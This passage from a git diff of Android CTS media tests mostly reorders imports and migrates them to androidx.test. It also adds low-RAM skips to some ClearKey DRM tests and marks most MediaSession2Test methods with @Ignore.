+        if (isLowRam() && !isTV()){
+           Log.d(TAG, "Skipping testClearKeySessionClosedAfterRelease.");
+           return;
+        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -365,6 +388,10 @@
      * Test that invalid call sequences fail with expected exceptions.
      */
     public void testClearKeyExceptions() throws Exception {
+        if (isLowRam() && !isTV()){
+           Log.d(TAG, "Skipping testClearKeyExceptions.");
+           return;
+        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -561,4 +588,13 @@
         }
         return Arrays.copyOfRange(tempArray, 0, i);
     }
+
+    private boolean isTV() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+    }
+
+    private boolean isLowRam() {
+        ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+        return am.isLowRamDevice();
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 648cf26..311c791 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -19,18 +19,18 @@
 import android.content.pm.PackageManager;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecProfileLevel;
-import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaCodecInfo.AudioCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaCodecInfo.EncoderCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
 import android.media.MediaCodecList;
 import android.media.MediaFormat;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+
 import java.io.File;
 import java.io.IOException;
 import java.util.ArrayList;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index a4e3a19..f30e0c9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -16,7 +16,6 @@
 
 package android.media.cts;
 
-import android.media.cts.R;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
 import android.media.MediaCodec;
@@ -25,23 +24,25 @@
 import android.media.MediaCodec.CryptoInfo;
 import android.media.MediaCodec.CryptoInfo.Pattern;
 import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.media.MediaCodecList;
 import android.media.MediaCrypto;
 import android.media.MediaDrm;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
+import android.media.cts.R;
 import android.opengl.GLES20;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import android.view.Surface;
 
+import androidx.test.filters.SmallTest;
+
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.BufferedInputStream;
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
index 721ddf7..755801d 100644
--- a/tests/tests/media/src/android/media/cts/MediaController2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -26,7 +26,6 @@
 import static org.junit.Assert.fail;
 
 import android.app.PendingIntent;
-import android.content.Context;
 import android.content.Intent;
 import android.media.AudioManager;
 import android.media.MediaController2;
@@ -36,11 +35,11 @@
 import android.media.MediaPlayerBase;
 import android.media.MediaPlaylistAgent;
 import android.media.MediaSession2;
-import android.media.SessionCommand2;
-import android.media.SessionCommandGroup2;
 import android.media.MediaSession2.ControllerInfo;
 import android.media.MediaSession2.SessionCallback;
 import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
 import android.media.SessionToken2;
 import android.media.VolumeProvider2;
 import android.media.cts.TestServiceRegistry.SessionServiceCallback;
@@ -51,10 +50,11 @@
 import android.os.HandlerThread;
 import android.os.Process;
 import android.os.ResultReceiver;
+
 import androidx.annotation.NonNull;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index c504c4b..43c02f4 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -15,6 +15,8 @@
  */
 package android.media.cts;
 
+import android.app.ActivityManager;
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.CamcorderProfile;
 import android.media.MediaCodecInfo.CodecCapabilities;
@@ -528,6 +530,10 @@
     }
 
     public void testClearKeyPlaybackMpeg2ts() throws Exception {
+         Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check before return ");
+            if (isLowRam()&& !isTV())
+            return;
+        Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check after return ");
         testClearKeyPlayback(
             CLEARKEY_SCHEME_UUID,
             MIME_VIDEO_AVC, new String[0],
@@ -996,4 +1002,13 @@
         }
         return false;
     }
+
+    private boolean isTV() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+    }
+
+    private boolean isLowRam() {
+         ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+         return am.isLowRamDevice();
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 2718c3b..7dc9130 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -126,6 +126,7 @@
     }
 
     public void testGetAudioPresentations() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.testvideo);
         List<AudioPresentation> presentations = mExtractor.getAudioPresentations(0 /*trackIndex*/);
         assertNotNull(presentations);
         assertTrue(presentations.isEmpty());
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
index 231cbff..7c9f5b5 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -23,11 +23,10 @@
 import android.media.MediaMetadata2.Builder;
 import android.media.Rating2;
 import android.os.Bundle;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
 
-import org.junit.Before;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 98ce1f1..dd0fa09 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -16,35 +16,33 @@
 
 package android.media.cts;
 
-import android.media.cts.R;
-
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.media.MediaDataSource;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import static android.content.pm.PackageManager.FEATURE_WATCH;
 import static android.media.MediaMetadataRetriever.OPTION_CLOSEST;
 import static android.media.MediaMetadataRetriever.OPTION_CLOSEST_SYNC;
 import static android.media.MediaMetadataRetriever.OPTION_NEXT_SYNC;
 import static android.media.MediaMetadataRetriever.OPTION_PREVIOUS_SYNC;
 
-import java.io.InputStream;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.media.MediaDataSource;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.cts.R;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.IOException;
+import java.io.InputStream;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.function.Function;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
index a4c5c4c..56a4ed6 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
@@ -20,10 +20,11 @@
 import android.os.Build;
 import android.os.Environment;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SdkSuppress;
-import android.support.test.rule.GrantPermissionRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.rule.GrantPermissionRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
index 314c051..d8d5cb8 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
@@ -37,8 +37,6 @@
 import android.net.Uri;
 import android.os.PowerManager;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
 import android.util.Base64;
 import android.util.Log;
 import android.view.SurfaceHolder;
@@ -48,6 +46,8 @@
 import androidx.media.DataSourceDesc;
 import androidx.media.MediaPlayer2;
 import androidx.media.MediaPlayer2.DrmInfo;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 
 import org.json.JSONArray;
 import org.json.JSONException;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
index 2538cea..fe4f7b9 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
@@ -15,19 +15,13 @@
  */
 package android.media.cts;
 
-import android.media.cts.R;
-
-import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
-import android.graphics.Rect;
 import android.hardware.Camera;
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.media.DataSourceDesc;
-import android.media.MediaCodec;
 import android.media.Media2DataSource;
-import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaPlayer2;
@@ -36,23 +30,19 @@
 import android.media.PlaybackParams;
 import android.media.SubtitleData;
 import android.media.SyncParams;
-import android.media.TimedText;
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Visualizer;
+import android.media.cts.R;
 import android.media.cts.TestUtils.Monitor;
 import android.net.Uri;
-import android.os.Bundle;
 import android.os.Environment;
-import android.os.IBinder;
 import android.os.PowerManager;
-import android.os.ServiceManager;
-import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.BufferedReader;
@@ -61,17 +51,11 @@
 import java.io.InputStreamReader;
 import java.util.ArrayList;
 import java.util.List;
-import java.util.StringTokenizer;
 import java.util.UUID;
 import java.util.Vector;
-import java.util.concurrent.Callable;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.atomic.AtomicInteger;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
-import junit.framework.AssertionFailedError;
 
 /**
  * Tests for the MediaPlayer2 API and local video/audio playback.
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
index c88f34d..08ba09d 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
@@ -15,53 +15,15 @@
  */
 package android.media.cts;
 
-import android.media.cts.R;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.graphics.Rect;
-import android.hardware.Camera;
-import android.media.AudioManager;
-import android.media.MediaCodec;
-import android.media.MediaDataSource;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
 import android.media.MediaPlayer;
-import android.media.MediaPlayer.OnErrorListener;
-import android.media.MediaRecorder;
-import android.media.MediaTimestamp;
-import android.media.PlaybackParams;
-import android.media.SubtitleData;
-import android.media.SyncParams;
-import android.media.TimedText;
-import android.media.audiofx.AudioEffect;
-import android.media.audiofx.Visualizer;
 import android.net.Uri;
 import android.os.Environment;
-import android.os.IBinder;
-import android.os.PowerManager;
-import android.os.ServiceManager;
-import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
-import android.util.Log;
 
-import com.android.compatibility.common.util.MediaUtils;
+import androidx.test.filters.SmallTest;
 
-import java.io.BufferedReader;
 import java.io.File;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.List;
-import java.util.StringTokenizer;
-import java.util.UUID;
-import java.util.Vector;
-import java.util.concurrent.CountDownLatch;
-
-import junit.framework.AssertionFailedError;
 
 /**
  * Tests for the MediaPlayer API and local video/audio playback.
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
index d6f6236..e01e2c1 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
@@ -18,10 +18,11 @@
 
 import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.ActivityInstrumentationTestCase2;
 
+import androidx.test.filters.SmallTest;
+
 /**
  */
 @SmallTest
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 91bc3ee..669a65a 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -16,21 +16,16 @@
 package android.media.cts;
 
 import android.app.ActivityManager;
-import android.media.cts.R;
-
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.graphics.Rect;
 import android.hardware.Camera;
 import android.media.AudioManager;
-import android.media.MediaCodec;
 import android.media.MediaDataSource;
-import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaPlayer;
-import android.media.MediaPlayer.OnErrorListener;
 import android.media.MediaPlayer.OnSeekCompleteListener;
 import android.media.MediaPlayer.OnTimedTextListener;
 import android.media.MediaRecorder;
@@ -41,27 +36,28 @@
 import android.media.TimedText;
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Visualizer;
+import android.media.cts.R;
 import android.media.cts.TestUtils.Monitor;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Environment;
-import android.os.IBinder;
 import android.os.PowerManager;
-import android.os.ServiceManager;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
 import com.android.compatibility.common.util.MediaUtils;
 
+import junit.framework.AssertionFailedError;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.InputStream;
 import java.io.InputStreamReader;
-import java.util.LinkedList;
 import java.util.List;
 import java.util.StringTokenizer;
 import java.util.UUID;
@@ -73,7 +69,6 @@
 import java.util.concurrent.atomic.AtomicInteger;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
-import junit.framework.AssertionFailedError;
 
 /**
  * Tests for the MediaPlayer API and local video/audio playback.
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index f1ad46c..6c712ee 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -15,6 +15,8 @@
  */
 package android.media.cts;
 
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+
 import android.content.pm.PackageManager;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -22,19 +24,17 @@
 import android.hardware.Camera;
 import android.media.CamcorderProfile;
 import android.media.EncoderCapabilities;
+import android.media.EncoderCapabilities.VideoEncoderCap;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaCodecList;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaRecorder;
-import android.media.EncoderCapabilities.VideoEncoderCap;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.media.MediaRecorder.OnErrorListener;
 import android.media.MediaRecorder.OnInfoListener;
-import android.media.MediaMetadataRetriever;
 import android.media.MicrophoneInfo;
 import android.opengl.GLES20;
 import android.os.ConditionVariable;
@@ -42,13 +42,13 @@
 import android.os.ParcelFileDescriptor;
 import android.os.PersistableBundle;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.UiThreadTest;
+import android.util.Log;
 import android.view.Surface;
 
-import android.util.Log;
+import androidx.test.filters.SmallTest;
 
 import com.android.compatibility.common.util.MediaUtils;
 
@@ -57,7 +57,6 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.RandomAccessFile;
-import java.lang.InterruptedException;
 import java.lang.Runnable;
 import java.util.ArrayList;
 import java.util.List;
@@ -65,8 +64,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-import static android.media.MediaCodecInfo.CodecProfileLevel.*;
-
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 16034e4..89b56e8 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -16,8 +16,6 @@
 
 package android.media.cts;
 
-import android.media.cts.R;
-
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.ContentUris;
@@ -30,19 +28,21 @@
 import android.media.MediaMetadataRetriever;
 import android.media.MediaScannerConnection;
 import android.media.MediaScannerConnection.MediaScannerConnectionClient;
+import android.media.cts.R;
 import android.mtp.MtpConstants;
 import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.platform.test.annotations.RequiresDevice;
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.IBinder;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
 import android.provider.MediaStore;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+
 import com.android.compatibility.common.util.FileCopyHelper;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index 0f2c56b..4e569b9 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -39,19 +39,20 @@
 import android.media.MediaPlaylistAgent;
 import android.media.MediaSession2;
 import android.media.MediaSession2.Builder;
-import android.media.SessionCommand2;
 import android.media.MediaSession2.CommandButton;
-import android.media.SessionCommandGroup2;
 import android.media.MediaSession2.ControllerInfo;
 import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
 import android.media.VolumeProvider2;
 import android.os.Bundle;
 import android.os.Process;
 import android.os.ResultReceiver;
 import android.platform.test.annotations.AppModeFull;
+
 import androidx.annotation.NonNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import junit.framework.Assert;
 
@@ -72,7 +73,6 @@
  */
 @RunWith(AndroidJUnit4.class)
 @SmallTest
-@Ignore
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaSession2Test extends MediaSession2TestBase {
     private static final String TAG = "MediaSession2Test";
@@ -128,6 +128,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlayerStateChange() throws Exception {
         final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
         final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
@@ -161,6 +162,7 @@
     }
 
     @Test
+    @Ignore
     public void testCurrentDataSourceChanged() throws Exception {
         final int listSize = 5;
         final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
@@ -194,6 +196,7 @@
     }
 
     @Test
+    @Ignore
     public void testMediaPrepared() throws Exception {
         final int listSize = 5;
         final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
@@ -227,6 +230,7 @@
     }
 
     @Test
+    @Ignore
     public void testBufferingStateChanged() throws Exception {
         final int listSize = 5;
         final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
@@ -262,6 +266,7 @@
     }
 
     @Test
+    @Ignore
     public void testUpdatePlayer() throws Exception {
         final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
         final CountDownLatch latch = new CountDownLatch(1);
@@ -296,6 +301,7 @@
    }
 
     @Test
+    @Ignore
     public void testSetPlayer_playbackInfo() throws Exception {
         MockPlayer player = new MockPlayer(0);
         AudioAttributes attrs = new AudioAttributes.Builder()
@@ -350,6 +356,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlay() throws Exception {
         sHandler.postAndSync(() -> {
             mSession.play();
@@ -358,6 +365,7 @@
     }
 
     @Test
+    @Ignore
     public void testPause() throws Exception {
         sHandler.postAndSync(() -> {
             mSession.pause();
@@ -375,18 +383,21 @@
     }
 
     @Test
+    @Ignore
     public void testSkipToPreviousItem() {
         mSession.skipToPreviousItem();
         assertTrue(mMockAgent.mSkipToPreviousItemCalled);
     }
 
     @Test
+    @Ignore
     public void testSkipToNextItem() throws Exception {
         mSession.skipToNextItem();
         assertTrue(mMockAgent.mSkipToNextItemCalled);
     }
 
     @Test
+    @Ignore
     public void testSkipToPlaylistItem() throws Exception {
         final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
         mSession.skipToPlaylistItem(testMediaItem);
@@ -395,6 +406,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetPlayerState() {
         final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
         mPlayer.mLastPlayerState = state;
@@ -402,6 +414,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetPosition() {
         final long position = 150000;
         mPlayer.mCurrentPosition = position;
@@ -409,6 +422,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetBufferedPosition() {
         final long bufferedPosition = 900000;
         mPlayer.mBufferedPosition = bufferedPosition;
@@ -416,6 +430,7 @@
     }
 
     @Test
+    @Ignore
     public void testSetPlaylist() {
         final List<MediaItem2> list = TestUtils.createPlaylist(2);
         mSession.setPlaylist(list, null);
@@ -425,6 +440,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetPlaylist() {
         final List<MediaItem2> list = TestUtils.createPlaylist(2);
         mMockAgent.mPlaylist = list;
@@ -432,6 +448,7 @@
     }
 
     @Test
+    @Ignore
     public void testUpdatePlaylistMetadata() {
         final MediaMetadata2 testMetadata = TestUtils.createMetadata();
         mSession.updatePlaylistMetadata(testMetadata);
@@ -440,6 +457,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetPlaylistMetadata() {
         final MediaMetadata2 testMetadata = TestUtils.createMetadata();
         mMockAgent.mMetadata = testMetadata;
@@ -447,6 +465,7 @@
     }
 
     @Test
+    @Ignore
     public void testSessionCallback_onPlaylistChanged() throws InterruptedException {
         final List<MediaItem2> list = TestUtils.createPlaylist(2);
         final CountDownLatch latch = new CountDownLatch(1);
@@ -478,6 +497,7 @@
     }
 
     @Test
+    @Ignore
     public void testAddPlaylistItem() {
         final int testIndex = 12;
         final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
@@ -488,6 +508,7 @@
     }
 
     @Test
+    @Ignore
     public void testRemovePlaylistItem() {
         final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
         mSession.removePlaylistItem(testMediaItem);
@@ -496,6 +517,7 @@
     }
 
     @Test
+    @Ignore
     public void testReplacePlaylistItem() throws InterruptedException {
         final int testIndex = 12;
         final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
@@ -510,6 +532,7 @@
      * MediaSession2, MediaPlaylistAgent, int)}
      */
     @Test
+    @Ignore
     public void testGetShuffleMode() throws InterruptedException {
         final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
         final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
@@ -540,6 +563,7 @@
     }
 
     @Test
+    @Ignore
     public void testSetShuffleMode() {
         final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
         mSession.setShuffleMode(testShuffleMode);
@@ -552,6 +576,7 @@
      * MediaSession2, MediaPlaylistAgent, int)}
      */
     @Test
+    @Ignore
     public void testGetRepeatMode() throws InterruptedException {
         final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
         final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
@@ -582,6 +607,7 @@
     }
 
     @Test
+    @Ignore
     public void testSetRepeatMode() {
         final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
         mSession.setRepeatMode(testRepeatMode);
@@ -591,6 +617,7 @@
 
     // TODO (jaewan): Revisit
     @Test
+    @Ignore
     public void testBadPlayer() throws InterruptedException {
         // TODO(jaewan): Add equivalent tests again
         final CountDownLatch latch = new CountDownLatch(4); // expected call + 1
@@ -617,6 +644,7 @@
     }
 
     @Test
+    @Ignore
     public void testOnCommandCallback() throws InterruptedException {
         final MockOnCommandCallback callback = new MockOnCommandCallback();
         sHandler.postAndSync(() -> {
@@ -643,6 +671,7 @@
     }
 
     @Test
+    @Ignore
     public void testOnConnectCallback() throws InterruptedException {
         final MockOnConnectCallback sessionCallback = new MockOnConnectCallback();
         sHandler.postAndSync(() -> {
@@ -657,6 +686,7 @@
     }
 
     @Test
+    @Ignore
     public void testOnDisconnectCallback() throws InterruptedException {
         final CountDownLatch latch = new CountDownLatch(1);
         try (final MediaSession2 session = new MediaSession2.Builder(mContext)
@@ -677,6 +707,7 @@
     }
 
     @Test
+    @Ignore
     public void testSetCustomLayout() throws InterruptedException {
         final List<CommandButton> buttons = new ArrayList<>();
         buttons.add(new CommandButton.Builder()
@@ -723,6 +754,7 @@
     }
 
     @Test
+    @Ignore
     public void testSetAllowedCommands() throws InterruptedException {
         final SessionCommandGroup2 commands = new SessionCommandGroup2();
         commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY));
@@ -756,6 +788,7 @@
     }
 
     @Test
+    @Ignore
     public void testSendCustomAction() throws InterruptedException {
         final SessionCommand2 testCommand = new SessionCommand2(
                 SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
@@ -786,6 +819,7 @@
     }
 
     @Test
+    @Ignore
     public void testNotifyError() throws InterruptedException {
         final int errorCode = MediaSession2.ERROR_CODE_NOT_AVAILABLE_IN_REGION;
         final Bundle extras = new Bundle();
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
index 828c659..047f2cd 100644
